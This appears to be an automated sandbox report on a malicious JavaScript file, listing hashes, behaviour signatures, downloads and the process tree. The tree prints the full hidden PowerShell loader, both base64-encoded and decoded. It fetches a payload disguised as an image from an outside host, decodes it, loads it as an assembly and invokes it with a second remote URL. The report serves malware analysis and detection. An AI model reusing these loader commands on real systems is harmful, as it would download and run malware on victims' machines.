Analysis
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max time kernel
119s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
04-12-2024 03:04
Static task
static1
Behavioral task
behavioral1
Sample
aee33a04a77ae07b38fc5a96b90f0a2a0f8b619fa9b66003d1f548f8bf924dfe.js
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
aee33a04a77ae07b38fc5a96b90f0a2a0f8b619fa9b66003d1f548f8bf924dfe.js
Resource
win10v2004-20241007-en
General
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Target
aee33a04a77ae07b38fc5a96b90f0a2a0f8b619fa9b66003d1f548f8bf924dfe.js
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Size
3KB
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MD5
f41d5e2a458b43a44bf6f91e6172fd1f
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SHA1
9d079763a4430d644a903168f29dae713768818b
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SHA256
aee33a04a77ae07b38fc5a96b90f0a2a0f8b619fa9b66003d1f548f8bf924dfe
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SHA512
b5188d638825bfc4f68810789bc5ecd3c1b1b4c0f0ed00cba15640c24f944c68f52648322c459f2129bdcdf4bc3f7bf0188f1b584e5076b91f1a91d3e792e1b5
Malware Config
Extracted
https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20
https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20
Signatures
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Blocklisted process makes network request 4 IoCs
Processes:
wscript.exepowershell.exeflow pid Process 3 1868 wscript.exe 5 1868 wscript.exe 10 2712 powershell.exe 12 2712 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepid Process 2864 powershell.exe 2712 powershell.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid Process 2864 powershell.exe 2712 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid Process Token: SeDebugPrivilege 2864 powershell.exe Token: SeDebugPrivilege 2712 powershell.exe -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
wscript.execscript.exepowershell.exedescription pid Process procid_target PID 1868 wrote to memory of 2636 1868 wscript.exe 28 PID 1868 wrote to memory of 2636 1868 wscript.exe 28 PID 1868 wrote to memory of 2636 1868 wscript.exe 28 PID 2636 wrote to memory of 2864 2636 cscript.exe 30 PID 2636 wrote to memory of 2864 2636 cscript.exe 30 PID 2636 wrote to memory of 2864 2636 cscript.exe 30 PID 2864 wrote to memory of 2712 2864 powershell.exe 32 PID 2864 wrote to memory of 2712 2864 powershell.exe 32 PID 2864 wrote to memory of 2712 2864 powershell.exe 32
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\aee33a04a77ae07b38fc5a96b90f0a2a0f8b619fa9b66003d1f548f8bf924dfe.js1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1868 -
C:\Windows\System32\cscript.exe"C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Local\Temp\desentulhador.js2⤵
- Suspicious use of WriteProcessMemory
PID:2636 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $embebido = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJAB0AHIAaQBwAHUAZABpAGEAcgAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAGwAbwBxAHUAYQBjAGkAZABhAGQAZQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABlAHMAdAByAGEAdABpAGcAcgBhAHAAaABpAGEAIAA9ACAAJABsAG8AcQB1AGEAYwBpAGQAYQBkAGUALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAdAByAGkAcAB1AGQAaQBhAHIAKQA7ACQAZQB4AHAAcgBlAHMAcwBpAHYAbwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGUAcwB0AHIAYQB0AGkAZwByAGEAcABoAGkAYQApADsAJAByAGgAZQB0AG8AcgBpAGMAaQBzAG0AbwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAYwBhAGwAdQBnAGEAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAZQBzAGMAbwByAHAAaQB1AHIAYQAgAD0AIAAkAGUAeABwAHIAZQBzAHMAaQB2AG8ALgBJAG4AZABlAHgATwBmACgAJAByAGgAZQB0AG8AcgBpAGMAaQBzAG0AbwApADsAJABtAGEAbABhAGwAZQB1AGMAYQAgAD0AIAAkAGUAeABwAHIAZQBzAHMAaQB2AG8ALgBJAG4AZABlAHgATwBmACgAJABjAGEAbAB1AGcAYQApADsAJABlAHMAYwBvAHIAcABpAHUAcgBhACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAbQBhAGwAYQBsAGUAdQBjAGEAIAAtAGcAdAAgACQAZQBzAGMAbwByAHAAaQB1AHIAYQA7ACQAZQBzAGMAbwByAHAAaQB1AHIAYQAgACsAPQAgACQAcgBoAGUAdABvAHIAaQBjAGkAcwBtAG8ALgBMAGUAbgBnAHQAaAA7ACQAcwBlAHIAZQBuAGEAdABpAHMAdABhACAAPQAgACQAbQBhAGwAYQBsAGUAdQBjAGEAIAAtACAAJABlAHMAYwBvAHIAcABpAHUAcgBhADsAJABjAGEAbABhAGYAZQB0AGUAYQByACAAPQAgACQAZQB4AHAAcgBlAHMAcwBpAHYAbwAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABlAHMAYwBvAHIAcABpAHUAcgBhACwAIAAkAHMAZQByAGUAbgBhAHQAaQBzAHQAYQApADsAJABhAG4AaQBuAGEAcgAgAD0AIAAtAGoAbwBpAG4AIAAoACQAYwBhAGwAYQBmAGUAdABlAGEAcgAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAYwBhAGwAYQBmAGUAdABlAGEAcgAuAEwAZQBuAGcAdABoACkAXQA7ACQAbwBwAHAAbwBuAGUAbgB0AGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQBuAGkAbgBhAHIAKQA7ACQAYQBsAGEAYgBpAHIAaQBuAHQAYQByACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAG8AcABwAG8AbgBlAG4AdABlACkAOwAkAGUAbgBmAGUAcgBtAGUAaQByAGEAIAA9ACAAWwBkAG4AbABpAGIALgBJAE8ALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACcAVgBBAEkAJwApADsAJABlAG4AZgBlAHIAbQBlAGkAcgBhAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAEAAKAAnADAALwBXAEYAaQBDAFgALwByAC8AZQBlAC4AZQB0AHMAYQBwAC8ALwA6AHMAcAB0AHQAaAAnACwAIAAnAGMAYQByAHQAaQBsAGEAZwBpAG4AbwBzAG8AJwAsACAAJwBjAGEAcgB0AGkAbABhAGcAaQBuAG8AcwBvACcALAAgACcAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHMAbwAnACwAIAAnAE0AUwBCAHUAaQBsAGQAJwAsACAAJwBjAGEAcgB0AGkAbABhAGcAaQBuAG8AcwBvACcALAAgACcAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHMAbwAnACwAJwBjAGEAcgB0AGkAbABhAGcAaQBuAG8AcwBvACcALAAnAGMAYQByAHQAaQBsAGEAZwBpAG4AbwBzAG8AJwAsACcAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHMAbwAnACwAJwBjAGEAcgB0AGkAbABhAGcAaQBuAG8AcwBvACcALAAnAGMAYQByAHQAaQBsAGEAZwBpAG4AbwBzAG8AJwAsACcAMQAnACwAJwBjAGEAcgB0AGkAbABhAGcAaQBuAG8AcwBvACcAKQApADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsA';$incommunicabilidade = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($embebido));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $incommunicabilidade3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2864 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$tripudiar = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$loquacidade = New-Object System.Net.WebClient;$estratigraphia = $loquacidade.DownloadData($tripudiar);$expressivo = [System.Text.Encoding]::UTF8.GetString($estratigraphia);$rhetoricismo = '<<BASE64_START>>';$caluga = '<<BASE64_END>>';$escorpiura = $expressivo.IndexOf($rhetoricismo);$malaleuca = $expressivo.IndexOf($caluga);$escorpiura -ge 0 -and $malaleuca -gt $escorpiura;$escorpiura += $rhetoricismo.Length;$serenatista = $malaleuca - $escorpiura;$calafetear = $expressivo.Substring($escorpiura, $serenatista);$aninar = -join ($calafetear.ToCharArray() | ForEach-Object { $_ })[-1..-($calafetear.Length)];$opponente = [System.Convert]::FromBase64String($aninar);$alabirintar = [System.Reflection.Assembly]::Load($opponente);$enfermeira = [dnlib.IO.Home].GetMethod('VAI');$enfermeira.Invoke($null, @('0/WFiCX/r/ee.etsap//:sptth', 'cartilaginoso', 'cartilaginoso', 'cartilaginoso', 'MSBuild', 'cartilaginoso', 'cartilaginoso','cartilaginoso','cartilaginoso','cartilaginoso','cartilaginoso','cartilaginoso','1','cartilaginoso'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2712
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize342B
MD5397aaeed1eb56d6dd7edf637a78c4d0f
SHA17ad3e7e4e241ca3c30057fb39a242c2b06fed614
SHA256befa25dacf49652813e48146043f4649405c5fa0ef25009fd65b4db4231037ef
SHA512d51596f5d77876336fe7c60bc42fe7c9a804d1c22ebd71dfb989efc7640023f308b51c87350f82018049c5b98aeee26b6056f230ef6f444ca4795f6a93d6419c
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Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
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Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b
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Filesize
155KB
MD5f559b24304a1b17b80bccacc2965a3a6
SHA174f09250e2531a5504e0373b7cb038c4c4d722bf
SHA25623ad8882ca8cdc770dd6d31890258af9f81aa09e5188d6a92dcfbef841dfab8f
SHA512aa1a70e1ae7e21f563d6aae0c81471a3d20d024a8c15824855f4c9cb2c56ee716daeb54380433c9ceb6421a3aff130d7af73dd281e2d1ab969434b05fc6461d6
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5e21ba226bc5b0508a8758c2a991c0fc3
SHA13f944bb56d777323fa92afa250f4ad2e00fb9296
SHA2561b8b74935e6fb858a704c037e0a188e2495c7461a74b8088fe0fd09474f1fb36
SHA51242b7f4f006a43875824995267f29a8cd535f383beb8802fea82085b2aa4e91a20911f1c74ae3a0ff7db24414350d76526919ea918dc388d8c32145465c2ce3fc